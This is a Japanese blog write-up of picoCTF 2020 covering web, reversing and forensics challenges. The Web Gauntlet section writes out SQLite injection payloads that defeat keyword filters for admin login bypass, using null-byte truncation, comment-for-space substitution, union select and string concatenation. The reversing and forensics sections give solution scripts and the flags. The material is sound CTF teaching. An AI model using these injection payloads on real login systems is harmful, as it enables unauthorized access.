picoCTF2020は、これまでのとても優しい問題から最先端の難問まで、各ジャンル大量に問題が出るものからガラリと傾向が変わり、全部で6問、crypto分野なしの全問1点ずつでした。難易度は中級だったのかな?
期間も、例年2週間程度だったのが今年は1ヶ月。10月は他にもSECCON CTFやCODE BLUE、AV Tokyoなど他のビックイベントも目白押しなので、ゆっくり取り組んでいました。
結果は 5/6 問解いて、80位。5問目を滑り込みで解いたので、同じ特典帯では最下位でした。

登録数は4,822チーム、うち1点以上入れたのが3,381チームということで、登録だけしたよーというチームも多かった様子。いつもと傾向が違いすぎて戸惑った人も多かったかも?
今年のpicoCTF、昨年までとだいぶ傾向が違う。そもそも mini competition という位置づけだし、今の所全部で6問しかないみたい。Crypto分野も出題がない。
— kusuwada (@kusuwada) 2020年10月2日
なにより、超入門者向けの簡単な問題が無いので、まずpicoGymで鍛えてから出直してこいって感じなのかな。ちなみに私まだ2点です☺️#picoCTF
Binaryに関してはまだまとめられていないので、それ以外の問題のwriteupを書いておきます。
[General] Nothing Up My Sleeve
Let's check that your internet connection is working. This flag is 'in-the-clear', I promise! Download flag.txt
問題文のflag.txtのリンクをクリックすると、flagが降ってくる。
[Web] Web Gauntlet
Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:51480/ http://jupiter.challenges.picoctf.org:51480/filter.php
SQLiteのSQLinjection問。どんどんフィルタが増えていく。
Round 1/5
filter.php の方をのぞくと、Round1: orと書いてある。これは、orがfilterされるよ、という意味かな。
試しに Username = admin, Password = test を入れてみると、Invalid username/passwordの表示。
いろいろ試してみて気づいたんだけど、うっすらとフォームの後ろに組んだクエリが表示されている…。

これによると
SELECT * FROM users WHERE username='admin' AND password='test'
と変換されるらしい。
admin'--
を入れると通った👍
最後にスペースが必要。
Round 2/5
クリアじゃなかった。Round2が始まった。
Round2のfilterは
Round2: or and like = --
とのこと。コメントアウト使えないのか。
クエリはRound1と一緒。
2つ目の'をエスケープして、最後の'を活かすためにregexpを使って比較させてみる。
SELECT * FROM users WHERE username='/' AND password='||username regexp '^admin'
うーん、通らない。イケると思ったんだけど...。あ、SQLiteはエスケープに/使えないんだった。
SELECT * FROM users WHERE username='admin';%00' AND password=''
ちょっと想定解じゃなさそうだけど、途中で読み込み停止させるためにNULL文字%00をコメントのかわりにを突っ込んだら通った。
Round 3/5
filter.php
Round3: or and = like > < --
どんどんフィルタ増えてる。ということは、さっきの想定解は>,<を使う解き方だったのかな。not < and not >とか。
Round2と同じ解き方で通ってしまった…。
Round 4/5
filter.php
Round4: or and = like > < -- admin
今度はadminが使えない。hexで入れてみる。
SELECT * FROM users WHERE username=''||username in(0x61646d696e);%00' AND password=''
これいけるかと思ったんだけど、filterに引っかかったときと同じレスポンス。
あ、これもしかしてfilterにblank入ってる?
そういえば問題文のヒントに、見えにくいfilter文字があるからhexで確認しろって書いてあった。確認したら0x20(whitespace)がフィルタに入ってた。
SELECT * FROM users WHERE username=''||username/**/in(0x61646d696e);%00' AND password=''
これでfilterで弾かれなくなった。
あとは in の中身を変えたほうが良さそう。
SELECT * FROM users WHERE username=''/**/union/**/select*from/**/users/**/where/**/username/**/in(char(97,100,109,105,110));%00' AND password=''
なんか || も通ってない感じがしたので、力技で union select 使ってくっつけたったら通った👍
(||はSQLiteではorではなく文字連結になるらしい!ということは'adm'||'in'とかでいけたのか。)
Round 5/5
ここまで来たら解きたいなー。
Round5: or and = like > < -- union admin
あーunionも封じられてしまった…!
もっとシンプルに考えて…。さっき発見した文字連結||を使うと、下記で良かった…。
SELECT * FROM users WHERE username='ad'||'min';%00' AND password=''
これで全問通せたのでは…。
[Reversing] OTP Implementation
Yay reversing! Relevant files: otp flag.txt
otpとflag.txtが配布されます。
flag.txt
a5d47ae6ffa911de9d2b1b7611c47a1c43202a32f0042246f822c82345328becd5b8ec4118660f9b8cdc98bd1a41141943a9
otp
$ file otp otp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2247be439d9e3266cfb191bda087260bcd7066f5, not stripped
実行ファイルだ。
ヒントでは GDB Python や ANGR を使うのがお勧めされていたけど、一先ず無視してghidraに突っ込んでdecompileしてもらった。
こちら、引数名を読みやすくしたり、かけてる情報を補完したコード。
undefined8 main(int arg_len, undefined8 *input_key) { int i,j char jumbled; byte shifted; int ret; undefined8 retCode; char buff_key [100]; char scrambled [104]; if (arg_len < 2) { printf("USAGE: %s [KEY]\n",*input_key); retCode = 1; } else { strncpy(buff_key,(char *)input_key[1],100); i = 0; while( true ) { ret = valid_char((ulong)(uint)(int)buff_key[i]); if (ret == 0) break; if (i == 0) { jumbled = jumble(buff_key[i]); shifted = (byte)(jumbled >> 7) >> 4; scrambled[0] = (jumbled + shifted & 0xf) - shifted; } else { jumbled = jumble(buff_key[i]); shifted = (byte)((int)jumbled + (int)scrambled[(long)(i + -1)] >> 0x37); scrambled[(long)i] = ((char)((int)jumbled + (int)scrambled[(long)(i + -1)]) + (shifted >> 4) & 0xf) - (shifted >> 4); } i = i + 1; } j = 0; while (j < i) { scrambled[(long)j] = scrambled[(long)j] + 'a'; j = j + 1; } if (i == 100) { ret = strncmp(scrambled, "lfmhjmnahapkechbanheabbfjladhbplbnfaijdajpnljecghmoafbljlaamhpaheonlmnpmaddhngbgbhobgnofjgeaomadbidl" ,100); if (ret == 0) { puts("You got the key, congrats! Now xor it with the flag!"); retCode = 0; goto LAB_001009ea; } } puts("Invalid key!"); retCode = 1; } LAB_001009ea: return retCode; } undefined8 valid_char(char input) { undefined8 is_valid; if ((input < '0') || ('9' < input)) { if ((input < 'a') || ('f' < input)) { is_valid = 0; } else { is_valid = 1; } } else { is_valid = 1; } return is_valid; } ulong jumble(char input) { byte shifted; byte jumbled; jumbled = input; if ('`' < input) { // 0x60 (0x61 = a) jumbled = input + '\t'; // 0x9 } shifted = (byte)((char)jumbled >> 7) >> 4; jumbled = ((jumbled + shifted & 0xf) - shifted) * '\x02'; if ('\x0f' < (char)jumbled) { jumbled = jumbled + 1; } return (ulong)jumbled; }
お、これは処理を逆にしてinputを計算できそうでは!?
inputとflag.txtの内容をxorしたらflagになりそう。
ANGRだと、"You got the key, congrats! Now xor it with the flag!" を出力してくれるアドレスをgoalにセットすればいけそう。どっちでやろうか悩ましい。
並列でやってみたんだけど、ANGRがどうしても強制終了してしまう。
Hintにあるってことは使えるんだろうけど、書き方が良くないのか。他の問題はちゃんと動作して解けているので、今回は入力が100文字もあるから処理しきれないのか。ANGRのwriteupを待とう。
ということで、力技でdecompile結果をコードに落としてkeyを計算する方法で解いた。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import binascii cmp_chars = "lfmhjmnahapkechbanheabbfjladhbplbnfaijdajpnljecghmoafbljlaamhpaheonlmnpmaddhngbgbhobgnofjgeaomadbidl" flag_xor = 0xa5d47ae6ffa911de9d2b1b7611c47a1c43202a32f0042246f822c82345328becd5b8ec4118660f9b8cdc98bd1a41141943a9 candidates = "0123456789abcdef" def check(i, c, prev): if i == 0: jumbled = jumble(c) shifted = (jumbled >> 7) >> 4 scrambled = (jumbled + shifted & 0xf) - shifted else: jumbled = jumble(c) shifted = (jumbled + prev) >> 0x37 scrambled = (jumbled + prev + (shifted >> 4) & 0xf) - (shifted >> 4) return scrambled def jumble(c): jumbled = c if 0x60 < c: jumbled = jumbled + 0x9 shifted = (jumbled >> 7) >> 4 jumbled = ((jumbled + shifted & 0xf) - shifted) * 2 if 0xf < jumbled: jumbled += 1 return jumbled prev = 0 result = [0]*100 for i in range(100): for c in candidates: scrambled = check(i, ord(c), prev) if chr(scrambled+0x61) == cmp_chars[i]: result[i] = c prev = scrambled break print('key: ' + ''.join(result)) print(binascii.unhexlify(hex(flag_xor^int(''.join(result),16))[2:]))
実行結果
$ python solve.py
key: d5bd1989bcfd57a5fe5e680221a92576364d485ec3777d728a11a6571a06d48be5f7881e29023cdad3b9ab8b2e7677297bd4
b'picoCTF{cust0m_jumbl3s_4r3nt_4_g0Od_1d3A_e3647c08}'
🙌
最近reversingが ghidra に突っ込んで decompile -> からのコード読んで力技、が多いので、シュッとreversingツール使ったり、そもそもアセンブリそのまま読めるようになりたい。
[Forensics] Pitter, Patter, Platters
'Suspicious' is written all over this disk image. Download suspicious.dd.sda1
これめっちゃ時間かかったけど、ヒントが出たらすぐ解けた。ヒント前の試行錯誤から載せているので、答えだけ知りたい人は途中から飛んでください。
suspicious.dd.sda1というファイルが配布される。
$ file suspicious.dd.sda1 suspicious.dd.sda1: Linux rev 1.0 ext3 filesystem data, UUID=fc168af0-183b-4e53-bdf3-9c1055413b40 (needs journal recovery)
file commandでみてみると、ext3 filesystem dataのよう。
ext2 については、picoCTF2018で出題されていました。
今回はext3なので、fsck ext3などのワードでググってみます。
journal recoveryは普通のコマンドでできそう。
# fsck /root/ctf/suspicious.dd.sda1 fsck from util-linux 2.33.1 e2fsck 1.44.5 (15-Dec-2018) /root/ctf/suspicious.dd.sda1: recovering journal /root/ctf/suspicious.dd.sda1: clean, 70/8032 files, 17303/32096 blocks # file suspicious.dd.sda1 suspicious.dd.sda1: Linux rev 1.0 ext3 filesystem data, UUID=fc168af0-183b-4e53-bdf3-9c1055413b40
なんか修復されたっぽい?
debugfsで開いてみます。
# debugfs suspicious.dd.sda1 debugfs 1.44.5 (15-Dec-2018) debugfs: ls 2 (12) . 2 (12) .. 11 (20) lost+found 2009 (12) boot 4017 (12) tce 12 (956) suspicious-file.txt
一番疑わしいsuspicious-file.txtを見てみます
debugfs: cat suspicious-file.txt Nothing to see here! But you may want to look here -->
hereってどこ!?
もともと続きにflagが書かれていて、消したとか?
※ここから試行錯誤が続きますが、super hintからの解法はこちらへ
tceがフォルダっぽかったので潜ってみた中身
4017 40775 (2) 1001 50 1024 12-Nov-2015 05:02 .
2 40755 (2) 0 0 1024 30-Sep-2020 22:15 ..
4018 100664 (1) 1001 50 10474 12-Nov-2015 07:21 mydata.tgz
4019 40775 (2) 1001 50 1024 12-Nov-2015 05:24 optional
4020 40775 (2) 1001 50 1024 12-Nov-2015 05:02 ondemand
4021 100664 (1) 1001 50 170 30-Sep-2020 18:26 onboot.lst
mydata.tgzが怪しい。これもdumpして解凍してみたら、色んなデータが!
とりあえずフラグフォートマット picoCTF とか flag で grep してみたけど、何もでてこない。
etc/passwd,etc/shadowも取れたのでJohnをぶん回してみたけど、30時間経っても見るからなかったみたいなので諦めた。辞書リストでもあればよかったんだろうけど…。解けた人数とかけた時間から考えると想定解ではなさそう。
とりあえずext3の解析にext3grepというのが使えそうということだったのでinstall。
$ ext3grep suspicious.dd.sda1 –restore-all
で全部のファイルを引っこ抜いてもらう。
ここででてきたファイルをザーッと見てみると、/boot/core.gzというファイルが。
$ file core.gz core.gz: gzip compressed data, was "core.cpio", last modified: Wed Sep 10 12:44:13 2014, max compression, from Unix, original size 9062400
ふむ、cpioという拡張子のファイルらしい。
$ gzip -d core.gz $ file core core: ASCII cpio archive (SVR4 with no CRC)
無事取り出せました。これを紐解いてファイルを取り出すには
$ cpio -idv < core
コマンドでできるらしい。たくさん出てきた!
ここからまたgrepしたりしていると、気になるものが。
# grep -ri flag . --binary-files=without-match
./usr/bin/filetool.sh:echo "Required action flag is missing: $1"
./usr/bin/fromISOfile: FLAGS=" -i -b "
./usr/bin/fromISOfile: su "$USER" -c 'tce-load '"$FLAGS"' '"$FILE"
./usr/bin/tce-setup: FLAGS=" -i -b "
./usr/bin/tce-setup: su "$USER" -c 'tce-load '"$FLAGS"' '"$FILE"
./usr/bin/ondemand:# Arrive here if no flags were specified.
./etc/init.d/tc-functions:BEGIN { writeFlag=1 }
./etc/init.d/tc-functions: writeFlag=0
./etc/init.d/tc-functions: if (index($0, endTarget)) writeFlag=1
./etc/init.d/tc-functions: if (writeFlag) print $0
怪しいコメント!
Arrive here if no flags were specified.
これはシステム用のコメントではなくて挑戦者用のコメントでは?
なんかこの /user/bin/ondemand を実行したら良さそうな気がする!
色々ファイルをincludeしてて、該当ファイルもinclude先も絶対パス指定が多かったので、imageでbootしてあげられないか考えてみる。
使ってるファイルを全部pathを書き換えるのでも良さそうだけど、includeのnestが深いともう嫌になっちゃいそうだったのでできればpathをそのまま使えるようにしたい…。
.ash_historyに事前準備っぽい履歴があるので、これをやるのが良いのかもしれない。
そのあと、ondemand実行かなー?やるだけと思ったけどなかなかできない。
image系のForengic問、永遠に自分のVMのpath/fileを書き換えてクラッシュさせる芸人やってます…。
— kusuwada (@kusuwada) 2020年10月8日
クラッシュ → 強制終了 → スナップショットからやり直し → クラッシュ → 強制終了 → ...
とにかく突き倒して何もでてこないので塩漬け。forensicsは使うツールや手法がわかると早いんだけど、何もわからないと闇雲に試して空振りで終わることが多い…。
super hintが競技期間の後半に出るらしいのでそれを待っていました。
Super Hint と 解法
でました!Super Hint
Have you heard of slack space? There is a certain set of tools that now come with Ubuntu that I'd recommend for examining that disk space phenomenon...
slack space というのが鍵らしい。コミュニケーションツールのslackのことかと思ったけど、picoCTFのコミュニケーションツールはDiscord。ググってみると、英和辞典にも簡単な説明が載っていた。
ディスクの利用がクラスター単位であるために生じる, ファイルに割り当てられているがデータが記録されていないディスク領域
slack spaceの意味・使い方・読み方 | Weblio英和辞書
ファイルに割り当てられディスクスペースを消費しているが、実際には未使用の領域。ファイルサイズがクラスターサイズの整数倍でない限り生じる。
slack spaceの意味・使い方|英辞郎 on the WEB:アルク
slackって「ゆるい、たるんだ、いいかげんな」という形容詞だったんだね…。知らなかった。
詳細についてはこのあたりが読みやすかった。
What is slack space (file slack space)? - Definition from WhatIs.com
上記出典からの意訳
大体のOSでは1セクタ512バイトで区切られていて、例えば400バイトのファイルが保存されている場合、残りの112バイトは未使用領域として残る。ファイルを削除する時、OSはファイルが専有していたセクタを再割り当て可能な状態にするので、次にこのセクタを割当てられたファイルが200バイトだった場合、もとの112バイトのslack spaceに加えて、最初のファイルが存在していた200バイトの領域もslack spaceに含まれる。
こんな感じで、前のファイルの情報とかが残っている事があるので、調査でよく使われるそうだ。ちょっと前のヒラリー・クリントンのメールの調査にも使われた技術らしい。面白い!
次に紹介する資料にもでてきたけど、この領域の大きさはファイルシステムのブロックサイズに制限されるので、あまり大きなデータを隠すには向いていないそう。それこそ断片的に隠して寄せ集めるともとのデータになる、みたいにすればできそうだけど。
で、肝心のデータを見つける方法だけども、ググってヒットしたこのペーパーを頼りにすることに。
GIAC An Introduction to Hiding and Finding Data on Linux
どうやら2003年のSANSで使われた資料らしい。
p15から、slack spaceへのデータの隠し方・見つけ方について記されている。
ここで紹介されているツールは Autopsy !こないだしばらく無料でトレーニングが受けれたやつだ!受けそこねたけど!
確かkaliには標準でスタンドアロン型のが装備されているはずなので使ってみます。
$ autopsy
これだけで立ち上がった…!terminalにでてきたurlにブラウザでアクセスします。
SANS資料で紹介されている "keyword search" では残念ながら何も見つからなかったので、下記の手順でポチポチ旅をしてみると、flagがでてきました🙌!!!
CREATE_CASE

ADD IMAGE FILE


今回はPartition。
Image File Details

Mount Pointは好きなのを指定、File System Typeは、今回はext。
FILE ANALYSIS

ANALYZE をポチ。

問題のsuspicious-file.txtは META(inode)12番。
12番をクリックしてみると、こんなページに飛びました。

一番最後の"Direct Block" 2049 のリンクを押すと

おや!逆さの一文字飛ばしflagだ!これでは keyword search に引っかからなかったわけだ。
flag = "}.6.1.d.9.0.7.e.c._.3.<._.|.L.m._.1.1.1.t.5._.3.b.{.F.T.C.o.c.i.p" for i in range(len(flag)+1): if i%2: print(flag[len(flag)-i], end="")
実行結果
$ python solve.py
picoCTF{b3_5t111_mL|_<3_ce709d16}
ウーン、cpioとかいらんかったんや…。coreファイルの解析も、jhonでshadow解析したりも、全部いらんかったんや…。最初からAUTOPSY使っておけば一発…。
この辺の勘所は、たくさんforensicしたらついてくるんだろうか…?
なんにせよ、ヒントのおかげで競技期間中になんとか解けたので良かった!